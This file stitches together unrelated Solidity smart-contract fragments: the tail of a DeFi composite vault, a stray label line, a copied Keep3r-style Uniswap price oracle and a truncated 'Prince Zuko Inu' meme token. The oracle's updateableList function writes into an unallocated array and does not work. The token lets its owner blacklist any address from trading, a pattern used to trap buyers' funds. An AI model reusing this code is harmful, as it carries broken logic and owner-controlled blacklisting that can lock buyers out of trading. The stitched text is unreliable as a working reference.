uint _getPricePerFullShare = getPricePerFullShare();
_amount0 = _amount0.mul(_getPricePerFullShare).div((1e18));
_amount1 = _amount1.mul(_getPricePerFullShare).div((1e18));
}
function deposit(address _input, uint _amount, uint _min_mint_amount) external override returns (uint) {
return depositFor(msg.sender, msg.sender, _input, _amount, _min_mint_amount);
}
function depositFor(address _account, address _to, address _input, uint _amount, uint _min_mint_amount) public override checkContract(_account) _non_reentrant_ returns (uint _mint_amount) {
uint _pool = balance();
require(totalDepositCap == 0 || _pool <= totalDepositCap, ">totalDepositCap");
uint _before = basedToken.balanceOf(address(this));
if (_input == address(basedToken)) {
basedToken.safeTransferFrom(_account, address(this), _amount);
} else {
// require(basedConverter.convert_rate(_input, address(basedToken), _amount) > 0, "rate=0");
uint _before0 = token0.balanceOf(address(this));
uint _before1 = token1.balanceOf(address(this));
IERC20(_input).safeTransferFrom(_account, address(basedConverter), _amount);
basedConverter.convert(_input, address(basedToken), address(this));
uint _after0 = token0.balanceOf(address(this));
uint _after1 = token1.balanceOf(address(this));
if (_after0 > _before0) {
token0.safeTransfer(_account, _after0.sub(_before0));
}
if (_after1 > _before1) {
token1.safeTransfer(_account, _after1.sub(_before1));
}
}
uint _after = basedToken.balanceOf(address(this));
_amount = _after.sub(_before); // additional check for deflationary tokens
require(depositLimit == 0 || _amount <= depositLimit, ">depositLimit");
require(_amount > 0, "no token");
_mint_amount = _deposit(_to, _pool, _amount);
require(_mint_amount >= _min_mint_amount, "slippage");
}
function addLiquidity(uint _amount0, uint _amount1, uint _min_mint_amount) external override returns (uint) {
return addLiquidityFor(msg.sender, msg.sender, _amount0, _amount1, _min_mint_amount);
}
function addLiquidityFor(address _account, address _to, uint _amount0, uint _amount1, uint _min_mint_amount) public override checkContract(_account) _non_reentrant_ returns (uint _mint_amount) {
require(msg.sender == _account || msg.sender == vaultMaster.bank(address(this)), "!bank && !yourself");
uint _pool = balance();
require(totalDepositCap == 0 || _pool <= totalDepositCap, ">totalDepositCap");
uint _beforeToken = basedToken.balanceOf(address(this));
uint _before0 = token0.balanceOf(address(this));
uint _before1 = token1.balanceOf(address(this));
token0.safeTransferFrom(_account, address(basedConverter), _amount0);
token1.safeTransferFrom(_account, address(basedConverter), _amount1);
basedConverter.add_liquidity(address(this));
uint _afterToken = basedToken.balanceOf(address(this));
uint _after0 = token0.balanceOf(address(this));
uint _after1 = token1.balanceOf(address(this));
uint _totalDepositAmount = _afterToken.sub(_beforeToken); // additional check for deflationary tokens
require(depositLimit == 0 || _totalDepositAmount <= depositLimit, ">depositLimit");
require(_totalDepositAmount > 0, "no token");
if (_after0 > _before0) {
token0.safeTransfer(_account, _after0.sub(_before0));
}
if (_after1 > _before1) {
token1.safeTransfer(_account, _after1.sub(_before1));
}
_mint_amount = _deposit(_to, _pool, _totalDepositAmount);
require(_mint_amount >= _min_mint_amount, "slippage");
}
function _deposit(address _mintTo, uint _pool, uint _amount) internal returns (uint _shares) {
if (totalSupply() == 0) {
_shares = _amount;
} else {
_shares = (_amount.mul(totalSupply())).div(_pool);
}
if (_shares > 0) {
earn();
_minterBlock = keccak256(abi.encodePacked(tx.origin, block.number));
_mint(_mintTo, _shares);
}
}
// Used to swap any borrowed reserve over the debt limit to liquidate to 'token'
function harvest(address reserve, uint amount) external override {
require(msg.sender == controller, "!controller");
require(reserve != address(basedToken), "basedToken");
IERC20(reserve).safeTransfer(controller, amount);
}
function harvestStrategy(address _strategy) external override {
require(msg.sender == governance || msg.sender == vaultMaster.bank(address(this)), "!governance && !bank");
IController(controller).harvestStrategy(_strategy);
}
function harvestAllStrategies() external override {
require(msg.sender == governance || msg.sender == vaultMaster.bank(address(this)), "!governance && !bank");
IController(controller).harvestAllStrategies();
}
function withdraw(uint _shares, address _output, uint _min_output_amount) external override returns (uint) {
return withdrawFor(msg.sender, _shares, _output, _min_output_amount);
}
// No rebalance implementation for lower fees and faster swaps
function withdrawFor(address _account, uint _shares, address _output, uint _min_output_amount) public override _non_reentrant_ returns (uint _output_amount) {
// Check that no mint has been made in the same block from the same EOA
require(keccak256(abi.encodePacked(tx.origin, block.number)) != _minterBlock, "REENTR MINT-BURN");
_output_amount = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
uint _withdrawalProtectionFee = vaultMaster.withdrawalProtectionFee();
if (_withdrawalProtectionFee > 0) {
uint _withdrawalProtection = _output_amount.mul(_withdrawalProtectionFee).div(10000);
_output_amount = _output_amount.sub(_withdrawalProtection);
}
// Check balance
uint b = basedToken.balanceOf(address(this));
if (b < _output_amount) {
uint _toWithdraw = _output_amount.sub(b);
uint _withdrawFee = IController(controller).withdraw(_toWithdraw);
uint _after = basedToken.balanceOf(address(this));
uint _diff = _after.sub(b);
if (_diff < _toWithdraw) {
_output_amount = b.add(_diff);
}
if (_withdrawFee > 0) {
_output_amount = _output_amount.sub(_withdrawFee, "_output_amount < _withdrawFee");
}
}
if (_output == address(basedToken)) {
require(_output_amount >= _min_output_amount, "slippage");
basedToken.safeTransfer(_account, _output_amount);
} else {
basedToken.safeTransfer(address(basedConverter), _output_amount);
uint _received = basedConverter.convert(address(basedToken), _output, address(this));
require(_received >= _min_output_amount, "slippage");
IERC20(_output).safeTransfer(_account, _received);
}
}
function getPricePerFullShare() public override view returns (uint) {
return (totalSupply() == 0) ? 1e18 : balance().mul(1e18).div(totalSupply());
}
// @dev average dollar value of vault share token
function get_virtual_price() external override view returns (uint) {
return basedConverter.get_virtual_price().mul(getPricePerFullShare()).div(1e18);
}
/**
* This function allows governance to take unsupported tokens out of the contract. This is in an effort to make someone whole, should they seriously mess up.
* There is no guarantee governance will vote to return these. It also allows for removal of airdropped tokens.
*/
function governanceRecoverUnsupported(IERC20 _token, uint amount, address to) external {
require(msg.sender == governance, "!governance");
require(address(_token) != address(basedToken), "token");
require(address(_token) != address(this), "share");
_token.safeTransfer(to, amount);
}
}
contract CompositeVaultBptEthUsdc is CompositeVaultBase {
function _getName() internal override view returns (string memory) {
return "CompositeVault:BptEthUsdc";
}
function _getSymbol() internal override view returns (string memory) {
return "cvETH-USDC:BPT";
}
event ExecuteTransaction(address indexed target, uint value, string signature, bytes data);
/**
* @dev This is from Timelock contract, the governance should be a Timelock contract before calling this emergency function
* Periodically we will need this to claim BAL (for idle fund stay in Vault and not transferred to Strategy
*/
function executeTransaction(address target, uint value, string memory signature, bytes memory data) public returns (bytes memory) {
require(msg.sender == governance, "!governance");
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value : value}(callData);
require(success, string(abi.encodePacked(_getName(), "::executeTransaction: Transaction execution reverted.")));
emit ExecuteTransaction(target, value, signature, data);
return returnData;
}
} | True | [
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// SPDX-License-Identifier: MIT
/**
* KP2R.NETWORK
* A standard implementation of kp3rv1 protocol
* Optimized Dapp
* Scalability
* Clean & tested code
*/
pragma solidity ^0.6.12;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
interface IKeep2r {
function isKeeper(address) external returns (bool);
function worked(address keeper) external;
}
contract UniswapV2Oracle {
using FixedPoint for *;
using SafeMath for uint;
struct Observation {
uint timestamp;
uint price0Cumulative;
uint price1Cumulative;
}
modifier keeper() {
require(KP2R.isKeeper(msg.sender), "::isKeeper: keeper is not registered");
_;
}
modifier upkeep() {
require(KP2R.isKeeper(msg.sender), "::isKeeper: keeper is not registered");
_;
KP2R.worked(msg.sender);
}
address public governance;
address public pendingGovernance;
function setGovernance(address _governance) external {
require(msg.sender == governance, "setGovernance: !gov");
pendingGovernance = _governance;
}
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov");
governance = pendingGovernance;
}
function setKeep2r(address _keep2r) external {
require(msg.sender == governance, "setKeep2r: !gov");
KP2R = IKeep2r(_keep2r);
}
IKeep2r public KP2R;
address public immutable factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
uint public immutable windowSize = 14400;
uint8 public immutable granularity = 8;
uint public immutable periodSize = 1800;
address[] internal _pairs;
mapping(address => bool) internal _known;
mapping(address => uint) public lastUpdated;
function pairs() external view returns (address[] memory) {
return _pairs;
}
mapping(address => Observation[]) public pairObservations;
constructor(address _keep2r) public {
governance = msg.sender;
KP2R = IKeep2r(_keep2r);
}
// returns the index of the observation corresponding to the given timestamp
function observationIndexOf(uint timestamp) public view returns (uint8 index) {
uint epochPeriod = timestamp / periodSize;
return uint8(epochPeriod % granularity);
}
// returns the observation from the oldest epoch (at the beginning of the window) relative to the current time
function getFirstObservationInWindow(address pair) private view returns (Observation storage firstObservation) {
uint8 observationIndex = observationIndexOf(block.timestamp);
// no overflow issue. if observationIndex + 1 overflows, result is still zero.
uint8 firstObservationIndex = (observationIndex + 1) % granularity;
firstObservation = pairObservations[pair][firstObservationIndex];
}
function updatePair(address pair) external keeper returns (bool) {
return _update(pair);
}
// update the cumulative price for the observation at the current timestamp. each observation is updated at most
// once per epoch period.
function update(address tokenA, address tokenB) external keeper returns (bool) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
return _update(pair);
}
function add(address tokenA, address tokenB) external {
require(msg.sender == governance, "UniswapV2Oracle::add: !gov");
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
require(!_known[pair], "known");
_known[pair] = true;
_pairs.push(pair);
}
function work() public upkeep {
bool worked = _updateAll();
require(worked, "UniswapV2Oracle: !work");
}
function _updateAll() internal returns (bool updated) {
for (uint i = 0; i < _pairs.length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function updateFor(uint i, uint length) external keeper returns (bool updated) {
for (; i < length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function updateableList() external view returns (address[] memory list) {
uint _index = 0;
for (uint i = 0; i < _pairs.length; i++) {
if (updateable(_pairs[i])) {
list[_index++] = _pairs[i];
}
}
}
function updateable(address pair) public view returns (bool) {
return (block.timestamp - lastUpdated[pair]) > periodSize;
}
function updateable() external view returns (bool) {
for (uint i = 0; i < _pairs.length; i++) {
if (updateable(_pairs[i])) {
return true;
}
}
return false;
}
function updateableFor(uint i, uint length) external view returns (bool) {
for (; i < length; i++) {
if (updateable(_pairs[i])) {
return true;
}
}
return false;
}
function _update(address pair) internal returns (bool) {
// populate the array with empty observations (first call only)
for (uint i = pairObservations[pair].length; i < granularity; i++) {
pairObservations[pair].push();
}
// get the observation for the current period
uint8 observationIndex = observationIndexOf(block.timestamp);
Observation storage observation = pairObservations[pair][observationIndex];
// we only want to commit updates once per period (i.e. windowSize / granularity)
uint timeElapsed = block.timestamp - observation.timestamp;
if (timeElapsed > periodSize) {
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
observation.timestamp = block.timestamp;
lastUpdated[pair] = block.timestamp;
observation.price0Cumulative = price0Cumulative;
observation.price1Cumulative = price1Cumulative;
return true;
}
return false;
}
// given the cumulative prices of the start and end of a period, and the length of the period, compute the average
// price in terms of how much amount out is received for the amount in
function computeAmountOut(
uint priceCumulativeStart, uint priceCumulativeEnd,
uint timeElapsed, uint amountIn
) private pure returns (uint amountOut) {
// overflow is desired.
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(
uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed)
);
amountOut = priceAverage.mul(amountIn).decode144();
}
function consult(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut) {
address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut);
Observation storage firstObservation = getFirstObservationInWindow(pair);
uint timeElapsed = block.timestamp - firstObservation.timestamp;
require(timeElapsed <= windowSize, 'SlidingWindowOracle: MISSING_HISTORICAL_OBSERVATION');
// should never happen.
require(timeElapsed >= windowSize - periodSize * 2, 'SlidingWindowOracle: UNEXPECTED_TIME_ELAPSED');
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
(address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut);
if (token0 == tokenIn) {
return computeAmountOut(firstObservation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
return computeAmountOut(firstObservation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
}
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/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
// Part: Context
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
// Part: IERC20
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Part: IUniswapV2Factory
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// Part: IUniswapV2Router02
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
// Part: SafeMath
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
// Part: Ownable
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
// File: ZUKOINU.sol
contract ZukoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromLimit;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100_000_000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _teamFee = 10;
address payable private _feeAddrWallet1;
string private constant _name = "Prince Zuko Inu";
string private constant _symbol = "ZUKO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 30_000_000_000 * 10**9;
uint256 private _maxWalletAmount = 30_000_000_000 * 10**9;
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(address wallet1) {
_feeAddrWallet1 = payable(wallet1);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(
balanceOf(from) >= amount,
"ERC20: transfer amount exceeds balance"
);
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (
!isExcludedFromLimit[from] ||
(from == uniswapV2Pair && !isExcludedFromLimit[to])
) {
require(
amount <= _maxTxAmount,
"Anti-whale: Transfer amount exceeds max limit"
);
}
if (!isExcludedFromLimit[to]) {
require(
balanceOf(to) + amount <= _maxWalletAmount,
"Anti-whale: Wallet amount exceeds max limit"
);
}
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!isExcludedFromFee[to] &&
cooldownEnabled
) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
from != uniswapV2Pair &&
swapEnabled &&
contractTokenBalance >= swapThreshold
) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded)
public
onlyOwner
{
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rReflect,
uint256 tTransferAmount,
uint256 tReflect,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
